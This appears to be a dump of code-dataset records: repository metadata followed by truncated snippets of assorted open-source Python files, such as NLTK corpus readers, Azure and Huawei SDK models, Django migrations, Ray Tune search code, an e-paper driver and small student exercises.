8d411e3d5f8cdebb47b8c37917bf82415404b1e9
b28c2e04e2a093a7e83b214c877ea30978ff862e
/trendnz-gae/nltk/corpus/__init__ copy.py
3593f6768a2fbe3164820a9a5c840eebdffd7b81
[]
no_license
markmo/experiments
ec00dcb6219cd422873ae3a018fc2bc8cadedd5c
f7d3f25dfef2472ec1b5bed30be7b46daa448257
refs/heads/master
2020-05-31T17:55:21.537201
2011-04-12T20:53:41
2011-04-12T20:53:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
9,977
py
# Natural Language Toolkit: Corpus Readers # # Copyright (C) 2001-2010 NLTK Project # Author: Edward Loper <edloper@gradient.cis.upenn.edu> # URL: <http://www.nltk.org/> # For license information, see LICENSE.TXT # [xx] this docstring isnt' up-to-date! """ NLTK corpus readers. The modules in this package provide func...
[ "markmo@me.com" ]
markmo@me.com
d44084bd0082b1994125b02a466cdac8bbb39e1c
e10a6d844a286db26ef56469e31dc8488a8c6f0e
/graph_embedding/slaq/slaq.py
c5b398335c01701b00c343f9a6e09a7eb1c38303
[ "Apache-2.0", "CC-BY-4.0" ]
permissive
Jimmy-INL/google-research
54ad5551f97977f01297abddbfc8a99a7900b791
5573d9c5822f4e866b6692769963ae819cb3f10d
refs/heads/master
2023-04-07T19:43:54.483068
2023-03-24T16:27:28
2023-03-24T16:32:17
282,682,170
1
0
Apache-2.0
2020-07-26T15:50:32
2020-07-26T15:50:31
null
UTF-8
Python
false
false
4,522
py
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
[ "copybara-worker@google.com" ]
copybara-worker@google.com
3fc64ef0e80d80509d96c399a394a6be9418809f
53fa2c914dd1183c7ba8a2c5f564e0c0c1cbaedd
/Gym/web_athlete/migrations/0015_auto_20180804_1844.py
920df02025b7d21d684f49208b13ebbc56544c88
[ "MIT" ]
permissive
ahmadreza-smdi/GymManagement
718c8dbeddc968097643a413b2ad7d882d0b864f
03f4d6d7b8d8ebefc70c2e921b64888afc3e6b28
refs/heads/master
2021-06-19T14:56:41.021617
2019-11-24T20:58:56
2019-11-24T20:58:56
142,736,163
6
1
MIT
2021-06-10T20:43:43
2018-07-29T06:20:07
Python
UTF-8
Python
false
false
1,347
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2018-08-04 18:44 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependenc...
[ "ahmadreza.smdi@gmail.com" ]
ahmadreza.smdi@gmail.com
443e27562eaab35764faa3c919b8368e9c63009e
064190a2de1ad156e1060f0efdee7e754a96b4bb
/9.7.py
32b4343aa60f537c7519d6b2836ff21ac1c9f9cf
[]
no_license
zqy1/pythonCookbook
7254fadf3fac277b107941bc32e4716de3f7c329
89a05a2a4d723fb49548e0e87d2542bd5d07fbee
refs/heads/master
2020-08-03T17:27:09.351396
2015-09-18T13:05:14
2015-09-18T13:05:14
73,540,483
1
0
null
2016-11-12T08:14:50
2016-11-12T08:14:50
null
UTF-8
Python
false
false
1,366
py
# -*- coding: utf-8 -*- """ 9.7.py ~~~~~~ 利用装饰器对函数参数进行强制类型检查 """ # 函数签名对象的应用 from inspect import signature from functools import wraps, partial def typeassert(*ty_args, **ty_kwargs): def decorate(func): if not __debug__: """如果不是调试模式,不进行参数检查""" return func ...
[ "neo1218@yeah.net" ]
neo1218@yeah.net
5fcfd400e2e36486c52783aa82476ba6e3b3c8ae
107fdd20682510440fc002c5b26ce6d51227d23d
/p49_misc/p49b_wave_evol.py
a30801b43baef3bcc3028dfa78aad20ca2dccb16
[]
no_license
dcollins4096/ytscripts
bddb1a82b30d533e5789a16109dca9226713c76d
52d8337dbbcba5d004663ec2cd1d2a15503c952d
refs/heads/master
2022-07-29T07:44:18.847626
2022-07-18T13:17:11
2022-07-18T13:17:11
185,677,619
0
0
null
null
null
null
UTF-8
Python
false
false
5,258
py
if 'ef' not in dir(): execfile('go') for i in range(3): print("====================") import enzo_write reload(enzo_write) import p49_eigen reload(p49_eigen) import p49_plot_tools reload(p49_plot_tools) import matplotlib.colors as colors def nz(field): nz = np.abs(field) > 1e-13 return fie...
[ "none@none" ]
none@none
41a662baf31d2a62914571ab1a7592adfc372ea5
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_6/wrtjos001/question4.py
af7b9aca381af051a7c7950504ed8316f3d9ed66
[]
no_license
MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
UTF-8
Python
false
false
699
py
"""Assignment 6 Question 4 histogram reprentation of marks joshua wort 20 april 2014""" #get list of marks mark=input("Enter a space-separated list of marks:\n") marks=mark.split(" ") #variables F="" third="" lower_second="" upper_second="" first="" #sort marks into categories for mark in marks: ...
[ "jarr2000@gmail.com" ]
jarr2000@gmail.com
6cc0276162bd2ed931565851eac5f8bd360435a6
87ac76b8aae5bf1c8a1530cd317972e4cf54fd62
/azext_iot/sdk/dps/service/models/device_capabilities.py
271a4829262e4d8e1f1b373d3572d394b0ccbf2c
[ "MIT" ]
permissive
montgomp/azure-iot-cli-extension
911dbb10bb27d1b4ba2446fad4e37014c99bea6e
7dee61b369f5dd7c7b9753edfc87b8ed35841c72
refs/heads/dev
2023-08-28T18:58:16.052628
2021-10-21T21:13:11
2021-10-21T21:13:11
271,131,011
1
1
NOASSERTION
2020-08-05T15:56:03
2020-06-09T23:30:08
Python
UTF-8
Python
false
false
1,094
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
[ "noreply@github.com" ]
montgomp.noreply@github.com
878bf8ebbffb082312d112adc9e428be9d482b7c
aa0270b351402e421631ebc8b51e528448302fab
/sdk/containerservice/azure-mgmt-containerservice/generated_samples/managed_clusters_start.py
72576c0ff6c89fa7ed554926a27a70117d305085
[ "MIT", "LGPL-2.1-or-later", "LicenseRef-scancode-generic-cla" ]
permissive
fangchen0601/azure-sdk-for-python
d04a22109d0ff8ff209c82e4154b7169b6cb2e53
c2e11d6682e368b2f062e714490d2de42e1fed36
refs/heads/master
2023-05-11T16:53:26.317418
2023-05-04T20:02:16
2023-05-04T20:02:16
300,440,803
0
0
MIT
2020-10-16T18:45:29
2020-10-01T22:27:56
null
UTF-8
Python
false
false
1,579
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
fangchen0601.noreply@github.com
01784bb1eed1a0d1dc4408f4dfd22848c152afd1
786027545626c24486753351d6e19093b261cd7d
/ghidra9.2.1_pyi/ghidra/app/plugin/core/datamgr/actions/DeleteArchiveAction.pyi
40829decee32b762b3894713f6a134b1ed84c7c4
[ "MIT" ]
permissive
kohnakagawa/ghidra_scripts
51cede1874ef2b1fed901b802316449b4bf25661
5afed1234a7266c0624ec445133280993077c376
refs/heads/main
2023-03-25T08:25:16.842142
2021-03-18T13:31:40
2021-03-18T13:31:40
338,577,905
14
1
null
null
null
null
UTF-8
Python
false
false
3,409
pyi
import docking import docking.action import ghidra.util import java.beans import java.lang import java.util import java.util.function import javax.swing class DeleteArchiveAction(docking.action.DockingAction): def __init__(self, __a0: ghidra.app.plugin.core.datamgr.DataTypeManagerPlugin): ... def actio...
[ "tsunekou1019@gmail.com" ]
tsunekou1019@gmail.com
7873a3bafeebce9c3624c8c3a5b2b8862708fd5e
61ef327bd1d5ff6db7595221db6823c947dab42b
/FlatData/EndCondition.py
6c4cf20c8a8847cbbfba3d3009e7e7918cb49579
[]
no_license
Aikenfell/Blue-Archive---Asset-Downloader
88e419686a80b20b57a10a3033c23c80f86d6bf9
92f93ffbdb81a47cef58c61ec82092234eae8eec
refs/heads/main
2023-09-06T03:56:50.998141
2021-11-19T12:41:58
2021-11-19T12:41:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
248
py
# automatically generated by the FlatBuffers compiler, do not modify # namespace: FlatData class EndCondition(object): Duration = 0 ReloadCount = 1 AmmoCount = 2 AmmoHit = 3 HitCount = 4 None_ = 5 UseExSkillCount = 6
[ "rkolbe96@gmail.com" ]
rkolbe96@gmail.com
861f15ba01e952a68448af0f114c2835c1095cb6
f56b6d816532174baf6054db443a467143b250df
/FiloBlu/process.py
6597c9175ba0d01116b8f86566a73574129c5c7b
[ "MIT" ]
permissive
Nico-Curti/FiloBluService
61eddb6f5b8a4c1c3fa66ba84fc4a7e9e4d8eeda
78fa802e37409b7826f2a5e96772fe79a5ba5e5a
refs/heads/master
2020-05-23T05:47:38.590459
2020-01-23T17:16:17
2020-01-23T17:16:17
186,654,530
2
0
NOASSERTION
2020-01-09T16:35:52
2019-05-14T15:52:58
Python
UTF-8
Python
false
false
4,610
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import time __author__ = 'Nico Curti' __email__ = 'nico.curti2@unibo.it' # global variables that must be set and used in the following class # The paths are relative to the current python file DICTIONARY = os.path.abspath(os.path.join(os.path.dirname(__file__),...
[ "nico.curti2@unibo.it" ]
nico.curti2@unibo.it
cdbb77434240451c649c927be9399be79278f4f5
cc7b0e228b4a0717eedd5410a66f72039c8f6960
/project/twitter/rest.py
0b3eb658ab53d91c894d8203ea6abff91349bb93
[]
no_license
lixiaochun/PyCrawler
870740b93835749a071a1e07a5cac4a5051a091c
7e7de51087c69d97649d78c31f9f70ab94d70383
refs/heads/master
2020-03-15T11:57:57.373199
2018-05-02T09:39:15
2018-05-02T09:39:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,645
py
# -*- coding:UTF-8 -*- """ Twitter REST API https://dev.twitter.com/rest/reference @author: hikaru email: hikaru870806@hotmail.com 如有问题或建议请联系 """ from common import * import base64 import json import os API_HOST = "https://api.twitter.com" API_VERSION = "1.1" ACCESS_TOKEN = None token_file_path = os.path.join(os.path...
[ "hikaru870806@hotmail.com" ]
hikaru870806@hotmail.com
6031751b68485dbf5c1e5226d49d14b2c3de8c39
31a0b0749c30ff37c3a72592387f9d8195de4bd6
/python/ray/tune/suggest/basic_variant.py
608318d7cc534e7d4267ae0e9fd43bc6ce7cece0
[ "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
longshotsyndicate/ray
15100bad514b602a3fa39bfe205288e7bec75d90
3341fae573868338b665bcea8a1c4ee86b702751
refs/heads/master
2023-01-28T15:16:00.401509
2022-02-18T05:35:47
2022-02-18T05:35:47
163,961,795
1
1
Apache-2.0
2023-01-14T08:01:02
2019-01-03T11:03:35
Python
UTF-8
Python
false
false
15,175
py
import copy import glob import itertools import os import uuid from typing import Dict, List, Optional, Union import warnings import numpy as np from ray.tune.error import TuneError from ray.tune.experiment import Experiment, convert_to_experiment_list from ray.tune.config_parser import make_parser, create_trial_from_...
[ "noreply@github.com" ]
longshotsyndicate.noreply@github.com
82f9883b46dc46677116610f39d5554711370c56
be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1
/Gauss_v45r9/Gen/DecFiles/options/12215011.py
81feb939e9f19c70ffcc6bcbccd5824ec589796b
[]
no_license
Sally27/backup_cmtuser_full
34782102ed23c6335c48650a6eaa901137355d00
8924bebb935b96d438ce85b384cfc132d9af90f6
refs/heads/master
2020-05-21T09:27:04.370765
2018-12-12T14:41:07
2018-12-12T14:41:07
185,989,173
0
0
null
null
null
null
UTF-8
Python
false
false
1,789
py
# file /home/hep/ss4314/cmtuser/Gauss_v45r9/Gen/DecFiles/options/12215011.py generated: Fri, 27 Mar 2015 16:10:03 # # Event Type: 12215011 # # ASCII decay Descriptor: [ B+ -> mu+ mu- (K_1(1400)+ -> (X -> K+ pi- pi+)) ]cc # from Configurables import Generation Generation().EventType = 12215011 Generation().SampleGenera...
[ "slavomirastefkova@b2pcx39016.desy.de" ]
slavomirastefkova@b2pcx39016.desy.de
3658f5f515232b6535cfc3f3f5df886394dcc75a
33518b9521d8e633010b0b9d1ea0f7a937437200
/Python/pascals_triangle_ii/pascals_triangle_ii.py
85eb1cf48a9472625f0d927e6f7711fe645c5be6
[]
no_license
lqs4188980/CodingPractice
977ddb69306c92a5e3df88f26572200622fad82a
c17653832269ab1bb3e411f7d74bef4c8e9985b3
refs/heads/master
2021-01-22T05:10:40.885490
2016-02-05T09:06:51
2016-02-05T09:06:51
25,272,652
0
1
null
2016-01-06T07:50:29
2014-10-15T20:40:34
Java
UTF-8
Python
false
false
354
py
# 1: 1 # 2: 1 1 # 3: 1 2 1 # 4: 1 3 3 1 class Solution(object): def getRow(self, rowIndex): row = [0] * (rowIndex + 1) row[0] = 1 for i in range(rowIndex + 1): prev = 0 for j in range(i+1): tmp = row[j] row[j] += prev ...
[ "xiaoqin.zhu.4@gmail.com" ]
xiaoqin.zhu.4@gmail.com
981830c316e98caf3c120b5a90cb5dbfdcd87c37
0948f5944bcb95af55ac258d6104044ddbedab6b
/drivers/epaper/epd29.py
eb32805e64ab84450d3e86b092de901fdbda9806
[ "MIT" ]
permissive
peterhinch/micropython-nano-gui
e9b7ca20535bbb52c695083deb28721074cfa71e
5eef93317e83bc767da88fba8acdfc2a167db794
refs/heads/master
2023-06-22T09:27:18.739604
2023-06-12T13:43:47
2023-06-12T13:43:47
146,632,615
360
78
MIT
2023-09-02T09:08:16
2018-08-29T17:07:07
Python
UTF-8
Python
false
false
9,320
py
# epd29.py nanogui driver for Adafruit Flexible 2.9" Black and White ePaper display. # [Interface breakout](https://www.adafruit.com/product/4224) # [Display](https://www.adafruit.com/product/4262) # EPD is subclassed from framebuf.FrameBuffer for use with Writer class and nanogui. # Copyright (c) Peter Hinch 2...
[ "peter@hinch.me.uk" ]
peter@hinch.me.uk
84af3f0d80361a517ec7807267275308b3d76b5e
da370ba0df9700519139e1da54f3e7f38e9b7f5f
/.nox/tests/lib/python3.7/site-packages/tensorflow_core/contrib/tensor_forest/python/ops/gen_stats_ops.py
397321760769a5c416456b517c610396fe234ad6
[ "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
antonevenepoel/open_spiel
90e3c7c6611cf508f2872237412fd67cf6cd10e0
f2f0c786410018675fc40e9a5b82c40814555fa8
refs/heads/master
2021-03-15T20:57:00.562672
2020-05-15T16:10:23
2020-05-15T16:10:23
246,877,171
0
0
Apache-2.0
2020-03-12T16:07:42
2020-03-12T16:07:41
null
UTF-8
Python
false
false
40,209
py
"""Python wrappers around TensorFlow ops. This file is MACHINE GENERATED! Do not edit. Original C++ source file: gen_stats_ops_py.cc """ import collections as _collections import six as _six from tensorflow.python import pywrap_tensorflow as _pywrap_tensorflow from tensorflow.python.eager import context as _context ...
[ "36889203+antonevenepoel@users.noreply.github.com" ]
36889203+antonevenepoel@users.noreply.github.com
8d3efb954b41d4cdf01b57e400aab6217641e7ef
dd3b8bd6c9f6f1d9f207678b101eff93b032b0f0
/basis/AbletonLive10.1_MIDIRemoteScripts/OpenLabs/SpecialTransportComponent.py
9cd5ad4f3d6a0974af0291a4d3f3ded2741e6e44
[]
no_license
jhlax/les
62955f57c33299ebfc4fca8d0482b30ee97adfe7
d865478bf02778e509e61370174a450104d20a28
refs/heads/master
2023-08-17T17:24:44.297302
2019-12-15T08:13:29
2019-12-15T08:13:29
228,120,861
3
0
null
2023-08-03T16:40:44
2019-12-15T03:02:27
Python
UTF-8
Python
false
false
3,873
py
# uncompyle6 version 3.4.1 # Python bytecode 2.7 (62211) # Decompiled from: Python 2.7.16 (v2.7.16:413a49145e, Mar 2 2019, 14:32:10) # [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] # Embedded file name: /Users/versonator/Jenkins/live/output/mac_64_static/Release/python-bundle/MIDI Remote Scripts/OpenLabs/Spe...
[ "jharrington@transcendbg.com" ]
jharrington@transcendbg.com
949191d90fda07a28149027d4d0724a6f9933dad
9e549ee54faa8b037f90eac8ecb36f853e460e5e
/venv/lib/python3.6/site-packages/requests/api.py
de38136491407780126771413bdb604e269beb90
[ "MIT" ]
permissive
aitoehigie/britecore_flask
e8df68e71dd0eac980a7de8c0f20b5a5a16979fe
eef1873dbe6b2cc21f770bc6dec783007ae4493b
refs/heads/master
2022-12-09T22:07:45.930238
2019-05-15T04:10:37
2019-05-15T04:10:37
177,354,667
0
0
MIT
2022-12-08T04:54:09
2019-03-24T00:38:20
Python
UTF-8
Python
false
false
6,253
py
# -*- coding: utf-8 -*- """ requests.api ~~~~~~~~~~~~ This module implements the Requests API. :copyright: (c) 2012 by Kenneth Reitz. :license: Apache2, see LICENSE for more details. """ from . import sessions def request(method, url, **kwargs): """Constructs and sends a :class:`Request <Request>`. :para...
[ "aitoehigie@gmail.com" ]
aitoehigie@gmail.com
814cbdab73818496ae33f465eb65ca4f4532978a
17a2963202dd4a8261b0db0629f44eb4ec0a87cb
/scrapy_demo/settings.py
ca5d73c2f759db3b38ecbb011c997b69296f1b1e
[]
no_license
maketubu7/scrapy_demo
61089fe75444b3156dfc0dfd5f6fd363f7353901
1c0c36dadeae68032841453eba0ebf031665993b
refs/heads/master
2023-01-06T18:04:07.246431
2020-11-11T09:03:21
2020-11-11T09:03:21
311,916,208
0
0
null
null
null
null
UTF-8
Python
false
false
3,310
py
# -*- coding: utf-8 -*- # Scrapy settings for scrapy_demo project # # For simplicity, this file contains only settings considered important or # commonly used. You can find more settings consulting the documentation: # # https://docs.scrapy.org/en/latest/topics/settings.html # https://docs.scrapy.org/en/latest...
[ "601176930@qq.com" ]
601176930@qq.com
7b17232de8954cc217c0c9269ed8caaa1ba4fe8e
f8daf3972d5820945172005659cf0d7dfc1086d6
/trunk/python/feeding_modules/ingredients_by_dish_storage.py
eebe000ad27c25161a32a1e31dcb2633288d3cb4
[]
no_license
BGCX067/family-feeding-svn-to-git
ec2645a1f36da717783bf21b42e1227588c20de5
bece6a73d4b6be9b29480c2bc7690b7e5e6961a4
refs/heads/master
2016-09-01T08:58:00.414527
2015-12-28T14:36:42
2015-12-28T14:36:42
48,759,877
0
0
null
null
null
null
UTF-8
Python
false
false
3,087
py
class ingredients_by_dish_storage : def __init__ ( self ) : self . _ingredients_by_dish = None self . _consts = None self . _re = None def set_modules ( self , consts , re ) : self . _consts = consts self . _re = re def get ( self ) : return self . _ingredient...
[ "you@example.com" ]
you@example.com
7d5ccfce3809cde8fda8b2041c7df122dd0d1231
7fdf76ac241714a223ae049278287fd33cab2769
/40-practical.py
4a8fdd8c95b0f6c912f853a0a27fbb98af508515
[]
no_license
ajaybhatia/python-practical-2020
9c0aa15c8e3985f4af6716028af0332e58780554
6e8310a84a0f18427c248efaf179ff76f50414e3
refs/heads/master
2023-01-19T13:45:26.335828
2020-11-20T05:03:41
2020-11-20T05:03:41
292,453,610
0
1
null
null
null
null
UTF-8
Python
false
false
643
py
''' Practical 40 Construct a Python program to write and append text to a file and display the text. ''' from os import getcwd filename = "/tmp/names.txt" try: file = open(filename, "a") # Write names in a file "/tmp/names.txt" while True: name = input("Enter a name: ") if name == "0": break ...
[ "prof.ajaybhatia@gmail.com" ]
prof.ajaybhatia@gmail.com
ef5c24a0d0c18c06e23c7db374ac4f6af751b438
452b8b849e080cda5a26f4018cafa5a674ff7c20
/froide/helper/name_generator.py
b3a67721dc0a99fdd616b9935f0d95ffd05978ec
[ "MIT" ]
permissive
okffi/tietopyynto
1262dcaf748c41b49be4a774be552fc75fc9b336
66b7e7dbf3c3395d79af3da85b3b58f01fad62dc
refs/heads/tietopyynto
2021-01-17T21:07:04.829856
2016-10-30T19:26:53
2016-10-30T19:26:53
14,255,294
3
2
MIT
2021-01-05T11:51:18
2013-11-09T10:19:16
Python
UTF-8
Python
false
false
41,989
py
import random import hashlib from django.conf import settings NAMES = [u'3_d_man', u'alars', u'aardwolf', u'abdul_alhazred', u'abe_brown', u'abigail_brand', u'abner_jenkins', u'abner_little', u'abominable_snowman', u'abomination', u'abominatrix', u'abraham_cornelius', u'abraxas', u'absalom', u'absorbing_man', u'abyss...
[ "mail@stefanwehrmeyer.com" ]
mail@stefanwehrmeyer.com
0efed9264a2bb7f084086f644c2111d8902ce4e2
8f64d50494507fd51c0a51010b84d34c667bd438
/BeautyForMe/myvenv/Lib/site-packages/win32comext/shell/demos/IShellLinkDataList.py
bf52f781c45e27794f26bffce8da383cc5c62bc1
[ "MIT" ]
permissive
YooInKeun/CAU_CSE_Capstone_3
5a4a61a916dc13c8635d25a04d59c21279678477
51405c4bed2b55661aa0708c8acea17fe72aa701
refs/heads/master
2022-12-11T15:39:09.721019
2021-07-27T08:26:04
2021-07-27T08:26:04
207,294,862
6
1
MIT
2022-11-22T04:52:11
2019-09-09T11:37:13
Python
UTF-8
Python
false
false
1,666
py
from win32com.shell import shell, shellcon import pythoncom, win32api, os, sys temp_dir=win32api.GetTempPath() linkname=win32api.GetTempFileName(temp_dir,'cmd')[0] os.remove(linkname) linkname+='.lnk' print('Link name:',linkname) ish=pythoncom.CoCreateInstance(shell.CLSID_ShellLink, None, pythoncom.CLSCTX_INPROC_SERV...
[ "keun0390@naver.com" ]
keun0390@naver.com
f6a46eb065ef80c1559c9bdc9ecc8000c50b019d
392d16a4efcfe85ca99c82f816bdb37de8821098
/builtin_packages/datetime_sp/datetime_operation.py
a007315f3182c58d312b0de8b5d0c60b465892fa
[]
no_license
binderclip/code-snippets-python
a62305157c179748a80e8d7afa08178133465e6b
5b5381afd19dbd3c511d79a1d207c4a1789c0367
refs/heads/master
2022-12-11T08:34:45.373978
2021-11-27T08:38:04
2021-11-27T08:38:04
109,646,422
26
8
null
2022-12-09T05:21:26
2017-11-06T04:10:19
Python
UTF-8
Python
false
false
376
py
import datetime def main(): dt1 = datetime.datetime(2018, 6, 27) dt2 = datetime.datetime(2018, 6, 28) print('max: {}'.format(max(dt1, dt2))) print('minus: {}'.format(dt1 - dt2)) # print('plus: {}'.format(dt1 + dt2)) # TypeError: unsupported operand type(s) for +: 'datetime.datetime' and 'dat...
[ "binderclip2014@gmail.com" ]
binderclip2014@gmail.com
fa2b6ac1485395e04c0cb2535f099dde7990656b
0b4e3df18811a0de6e2e91e7efe1afc1ac635489
/pyshanb/utils.py
2f076ffd657f5868bc01b7d1d7ec17bf95b9d534
[ "MIT" ]
permissive
mozillazg/PyShanb
0c50d4d9554385041ba4b9df93f485e16b6540cd
40aa7ef21a6413fd2c722b451395f29283bb7949
refs/heads/dev
2023-08-23T21:16:52.104501
2014-04-01T13:20:16
2014-04-01T13:20:16
6,542,229
17
5
MIT
2018-03-05T01:08:52
2012-11-05T09:58:31
Python
UTF-8
Python
false
false
3,588
py
#!/usr/bin/env python # -*- coding: utf-8 -*- """一些功能函数 """ import os from getpass import getpass from .cmdoption import CmdOption from .conf import Settings # Modified from https://github.com/webpy/webpy/blob/master/web/utils.py class Storage(dict): """A Storage object is like a dictionary except `obj.foo` c...
[ "opensource.mozillazg@gmail.com" ]
opensource.mozillazg@gmail.com
4c47324bc0e1d6065d40f28039ef03d9630a3096
01f4d1a2972887bbd1482ade4e253e0bc4373cd5
/check.py
7eac3e308ec347e8a4d4efea0e46bda86e84a33b
[]
no_license
1024Person/ProxyPool
cdabe5d6e29fd98109e4ae1dbb86391bb511310f
cd314cf1fded46b15708d56e8cb85c2099384a6e
refs/heads/main
2023-03-21T19:16:30.370551
2021-03-06T07:27:40
2021-03-06T07:27:40
344,514,686
1
0
null
null
null
null
UTF-8
Python
false
false
4,872
py
# 检测模块 from poolclient import PoolClient from setting import test_url,test_headers,USER_AGENT_LIST,check_max_worker,csv_file_path,good_ips_file_path from random import choice from concurrent.futures import ThreadPoolExecutor import requests class CheckIp(): # 参数:check_max_worker: 线程池中的线程数,默认是从settings中引入的100个,可以修...
[ "239903524@qq.com" ]
239903524@qq.com
95a5dfd878c46a91038a0a3438cec95df558968e
bb33e6be8316f35decbb2b81badf2b6dcf7df515
/source/res/scripts/common/goodies/goodie_constants.py
8e816e66038e66d865b8418dd4dcf2b5fa3bc7c4
[]
no_license
StranikS-Scan/WorldOfTanks-Decompiled
999c9567de38c32c760ab72c21c00ea7bc20990c
d2fe9c195825ececc728e87a02983908b7ea9199
refs/heads/1.18
2023-08-25T17:39:27.718097
2022-09-22T06:49:44
2022-09-22T06:49:44
148,696,315
103
39
null
2022-09-14T17:50:03
2018-09-13T20:49:11
Python
UTF-8
Python
false
false
1,243
py
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/common/goodies/goodie_constants.py MAX_ACTIVE_GOODIES = 3 class GOODIE_STATE: INACTIVE = 0 ACTIVE = 1 USED = 2 class GOODIE_VARIETY: DISCOUNT = 0 BOOSTER = 1 DEMOUNT_KIT = 2 RECERTIFICATION_FORM = 3 DISCO...
[ "StranikS_Scan@mail.ru" ]
StranikS_Scan@mail.ru
f684e8f06dbfd3cc2da9f8f18e5f75018fc51754
a5960a39215b8910b167cc3944cc8f58934b3760
/WireIt.py
daa62e52dcbb2b5f27c52e839eef0a58b43654b7
[ "MIT" ]
permissive
BG4RFF/WireIt
993ad28dbb46dbefab42f5ecdcf861acec8e6cb0
9b3d26abdeb34ef15ff7c85325922a789b2d9290
refs/heads/master
2022-08-01T00:54:59.534399
2020-05-19T18:35:51
2020-05-19T18:35:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
30,171
py
# -*- coding: utf-8 -*- # MIT license # # Copyright (C) 2018 by XESS Corp. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to...
[ "devb@xess.com" ]
devb@xess.com
f40951ca21c7c8bd3b03ea03a2771195723484ff
556db265723b0cc30ad2917442ed6dad92fd9044
/tensorflow/python/kernel_tests/random/multinomial_op_big_test.py
8e2a734c8171d890fc2159029bc3b7940da1fdee
[ "MIT", "Apache-2.0", "BSD-2-Clause" ]
permissive
graphcore/tensorflow
c1669b489be0e045b3ec856b311b3139858de196
085b20a4b6287eff8c0b792425d52422ab8cbab3
refs/heads/r2.6/sdk-release-3.2
2023-07-06T06:23:53.857743
2023-03-14T13:04:04
2023-03-14T13:48:43
162,717,602
84
17
Apache-2.0
2023-03-25T01:13:37
2018-12-21T13:30:38
C++
UTF-8
Python
false
false
3,624
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
[ "gardener@tensorflow.org" ]
gardener@tensorflow.org
7db94008661c38b8142fa16719f0287d2a459e82
9b64f0f04707a3a18968fd8f8a3ace718cd597bc
/huaweicloud-sdk-kms/huaweicloudsdkkms/v1/model/enable_key_request.py
5b879f74aab865beeda3267d42cd6356f98b8914
[ "Apache-2.0" ]
permissive
jaminGH/huaweicloud-sdk-python-v3
eeecb3fb0f3396a475995df36d17095038615fba
83ee0e4543c6b74eb0898079c3d8dd1c52c3e16b
refs/heads/master
2023-06-18T11:49:13.958677
2021-07-16T07:57:47
2021-07-16T07:57:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,306
py
# coding: utf-8 import re import six class EnableKeyRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in d...
[ "hwcloudsdk@huawei.com" ]
hwcloudsdk@huawei.com
49f266bcdde94e700f1264ceb74b8c049c97c752
7652917fd86b44d07eb964a84375d98e23b67cae
/microsoft_auth/_version.py
5ad44ae74486c677671e152bcc1f42bc2986ea2c
[ "MIT" ]
permissive
ivaggione/django_microsoft_auth
2725881ba423cd44ccdf3092a32bbb570ea0e3fc
8f838cbaa5ff200b89984b06e1fe921f9a0ee3c8
refs/heads/master
2023-02-21T23:29:06.079728
2023-02-15T00:33:13
2023-02-15T00:33:13
233,593,809
0
0
MIT
2020-01-13T12:47:07
2020-01-13T12:47:06
null
UTF-8
Python
false
false
18,609
py
# This file helps to compute a version number in source trees obtained from # git-archive tarball (such as those provided by githubs download-from-tag # feature). Distribution tarballs (built by setup.py sdist) and build # directories (produced by setup.py build) will contain a much shorter file # that just contains th...
[ "cbailey@mort.is" ]
cbailey@mort.is